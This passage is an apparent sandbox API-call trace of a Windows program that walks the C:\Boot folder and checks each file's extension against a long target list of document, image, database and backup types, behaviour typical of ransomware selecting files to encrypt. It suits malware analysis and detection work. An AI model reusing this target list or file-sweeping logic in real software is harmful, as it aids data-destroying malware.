ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0050.968] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0051.993] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0052.015] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0052.020] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0052.020] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0052.020] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0052.020] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4261058 [0052.021] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0052.898] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.917] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0052.920] lstrlenW (lpString=".1cd") returned 4 [0052.920] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0052.922] lstrlenW (lpString=".3ds") returned 4 [0052.922] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0052.924] lstrlenW (lpString=".3fr") returned 4 [0052.931] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0052.935] lstrlenW (lpString=".3g2") returned 4 [0052.935] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0052.935] lstrlenW (lpString=".3gp") returned 4 [0052.935] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0052.935] lstrlenW (lpString=".7z") returned 3 [0052.935] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0052.935] lstrlenW (lpString=".accda") returned 6 [0052.935] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0052.935] lstrlenW (lpString=".accdb") returned 6 [0052.935] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0052.935] lstrlenW (lpString=".accdc") returned 6 [0052.935] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0052.936] lstrlenW (lpString=".accde") returned 6 [0052.936] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0052.936] lstrlenW (lpString=".accdt") returned 6 [0052.936] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0052.936] lstrlenW (lpString=".accdw") returned 6 [0052.936] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0052.936] lstrlenW (lpString=".adb") returned 4 [0052.936] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".adp") returned 4 [0052.936] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".ai") returned 3 [0052.936] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0052.936] lstrlenW (lpString=".ai3") returned 4 [0052.936] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".ai4") returned 4 [0052.936] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".ai5") returned 4 [0052.936] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".ai6") returned 4 [0052.936] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".ai7") returned 4 [0052.936] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".ai8") returned 4 [0052.936] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".anim") returned 5 [0052.936] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0052.936] lstrlenW (lpString=".arw") returned 4 [0052.936] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0052.936] lstrlenW (lpString=".as") returned 3 [0052.936] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0052.936] lstrlenW (lpString=".asa") returned 4 [0052.936] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".asc") returned 4 [0052.937] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".ascx") returned 5 [0052.937] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0052.937] lstrlenW (lpString=".asm") returned 4 [0052.937] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".asmx") returned 5 [0052.937] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0052.937] lstrlenW (lpString=".asp") returned 4 [0052.937] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".aspx") returned 5 [0052.937] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0052.937] lstrlenW (lpString=".asr") returned 4 [0052.937] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".asx") returned 4 [0052.937] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".avi") returned 4 [0052.937] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".avs") returned 4 [0052.937] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".backup") returned 7 [0052.937] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0052.937] lstrlenW (lpString=".bak") returned 4 [0052.937] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".bay") returned 4 [0052.937] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".bd") returned 3 [0052.937] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0052.937] lstrlenW (lpString=".bin") returned 4 [0052.937] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".bmp") returned 4 [0052.937] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0052.937] lstrlenW (lpString=".bz2") returned 4 [0052.938] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".c") returned 2 [0052.938] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0052.938] lstrlenW (lpString=".cdr") returned 4 [0052.938] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".cer") returned 4 [0052.938] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".cf") returned 3 [0052.938] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0052.938] lstrlenW (lpString=".cfc") returned 4 [0052.938] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".cfm") returned 4 [0052.938] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".cfml") returned 5 [0052.938] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0052.938] lstrlenW (lpString=".cfu") returned 4 [0052.938] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".chm") returned 4 [0052.938] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".cin") returned 4 [0052.938] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".class") returned 6 [0052.938] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0052.938] lstrlenW (lpString=".clx") returned 4 [0052.938] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".config") returned 7 [0052.938] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0052.938] lstrlenW (lpString=".cpp") returned 4 [0052.938] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".cr2") returned 4 [0052.938] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0052.938] lstrlenW (lpString=".crt") returned 4 [0052.939] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".crw") returned 4 [0052.939] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".cs") returned 3 [0052.939] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0052.939] lstrlenW (lpString=".css") returned 4 [0052.939] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".csv") returned 4 [0052.939] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".cub") returned 4 [0052.939] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".dae") returned 4 [0052.939] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".dat") returned 4 [0052.939] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".db") returned 3 [0052.939] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0052.939] lstrlenW (lpString=".dbf") returned 4 [0052.939] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".dbx") returned 4 [0052.939] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".dc3") returned 4 [0052.939] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".dcm") returned 4 [0052.939] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".dcr") returned 4 [0052.939] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".der") returned 4 [0052.939] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".dib") returned 4 [0052.939] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0052.939] lstrlenW (lpString=".dic") returned 4 [0052.939] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".dif") returned 4 [0052.940] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".divx") returned 5 [0052.940] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0052.940] lstrlenW (lpString=".djvu") returned 5 [0052.940] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0052.940] lstrlenW (lpString=".dng") returned 4 [0052.940] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".doc") returned 4 [0052.940] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".docm") returned 5 [0052.940] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0052.940] lstrlenW (lpString=".docx") returned 5 [0052.940] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0052.940] lstrlenW (lpString=".dot") returned 4 [0052.940] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".dotm") returned 5 [0052.940] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0052.940] lstrlenW (lpString=".dotx") returned 5 [0052.940] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0052.940] lstrlenW (lpString=".dpx") returned 4 [0052.940] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".dqy") returned 4 [0052.940] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".dsn") returned 4 [0052.940] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".dt") returned 3 [0052.940] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0052.940] lstrlenW (lpString=".dtd") returned 4 [0052.940] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".dwg") returned 4 [0052.940] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0052.940] lstrlenW (lpString=".dwt") returned 4 [0052.941] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".dx") returned 3 [0052.941] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0052.941] lstrlenW (lpString=".dxf") returned 4 [0052.941] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".edml") returned 5 [0052.941] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0052.941] lstrlenW (lpString=".efd") returned 4 [0052.941] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".elf") returned 4 [0052.941] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".emf") returned 4 [0052.941] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".emz") returned 4 [0052.941] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".epf") returned 4 [0052.941] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".eps") returned 4 [0052.941] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".epsf") returned 5 [0052.941] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0052.941] lstrlenW (lpString=".epsp") returned 5 [0052.941] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0052.941] lstrlenW (lpString=".erf") returned 4 [0052.941] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".exr") returned 4 [0052.941] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".f4v") returned 4 [0052.941] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0052.941] lstrlenW (lpString=".fido") returned 5 [0052.941] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0052.941] lstrlenW (lpString=".flm") returned 4 [0052.942] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".flv") returned 4 [0052.942] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".frm") returned 4 [0052.942] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".fxg") returned 4 [0052.942] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".geo") returned 4 [0052.942] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".gif") returned 4 [0052.942] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".grs") returned 4 [0052.942] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".gz") returned 3 [0052.942] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0052.942] lstrlenW (lpString=".h") returned 2 [0052.942] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0052.942] lstrlenW (lpString=".hdr") returned 4 [0052.942] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".hpp") returned 4 [0052.942] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".hta") returned 4 [0052.942] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".htc") returned 4 [0052.942] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".htm") returned 4 [0052.942] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".html") returned 5 [0052.942] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0052.942] lstrlenW (lpString=".icb") returned 4 [0052.942] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0052.942] lstrlenW (lpString=".ics") returned 4 [0052.943] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".iff") returned 4 [0052.943] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".inc") returned 4 [0052.943] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".indd") returned 5 [0052.943] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0052.943] lstrlenW (lpString=".ini") returned 4 [0052.943] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".iqy") returned 4 [0052.943] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".j2c") returned 4 [0052.943] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".j2k") returned 4 [0052.943] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".java") returned 5 [0052.943] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0052.943] lstrlenW (lpString=".jp2") returned 4 [0052.943] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".jpc") returned 4 [0052.943] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".jpe") returned 4 [0052.943] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".jpeg") returned 5 [0052.943] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0052.943] lstrlenW (lpString=".jpf") returned 4 [0052.943] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".jpg") returned 4 [0052.943] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0052.943] lstrlenW (lpString=".jpx") returned 4 [0052.943] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".js") returned 3 [0052.944] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0052.944] lstrlenW (lpString=".jsf") returned 4 [0052.944] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".json") returned 5 [0052.944] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0052.944] lstrlenW (lpString=".jsp") returned 4 [0052.944] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".kdc") returned 4 [0052.944] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".kmz") returned 4 [0052.944] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".kwm") returned 4 [0052.944] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".lasso") returned 6 [0052.944] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0052.944] lstrlenW (lpString=".lbi") returned 4 [0052.944] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".lgf") returned 4 [0052.944] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".lgp") returned 4 [0052.944] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".log") returned 4 [0052.944] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".m1v") returned 4 [0052.944] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".m4a") returned 4 [0052.944] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".m4v") returned 4 [0052.944] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0052.944] lstrlenW (lpString=".max") returned 4 [0052.944] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".md") returned 3 [0052.945] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0052.945] lstrlenW (lpString=".mda") returned 4 [0052.945] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mdb") returned 4 [0052.945] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mde") returned 4 [0052.945] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mdf") returned 4 [0052.945] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mdw") returned 4 [0052.945] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mef") returned 4 [0052.945] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mft") returned 4 [0052.945] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mfw") returned 4 [0052.945] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mht") returned 4 [0052.945] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mhtml") returned 6 [0052.945] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0052.945] lstrlenW (lpString=".mka") returned 4 [0052.945] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mkidx") returned 6 [0052.945] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0052.945] lstrlenW (lpString=".mkv") returned 4 [0052.945] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mos") returned 4 [0052.945] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mov") returned 4 [0052.945] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0052.945] lstrlenW (lpString=".mp3") returned 4 [0052.946] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0052.946] lstrlenW (lpString=".mp4") returned 4 [0052.946] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0052.946] lstrlenW (lpString=".mpeg") returned 5 [0052.946] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0052.946] lstrlenW (lpString=".mpg") returned 4 [0052.946] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0052.946] lstrlenW (lpString=".mpv") returned 4 [0052.946] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0052.946] lstrlenW (lpString=".mrw") returned 4 [0052.946] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0052.946] lstrlenW (lpString=".msg") returned 4 [0052.946] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0052.946] lstrlenW (lpString=".mxl") returned 4 [0052.946] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".myd") returned 4 [0052.946] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".myi") returned 4 [0052.946] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".nef") returned 4 [0052.946] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".nrw") returned 4 [0052.946] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".obj") returned 4 [0052.946] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".odb") returned 4 [0052.946] 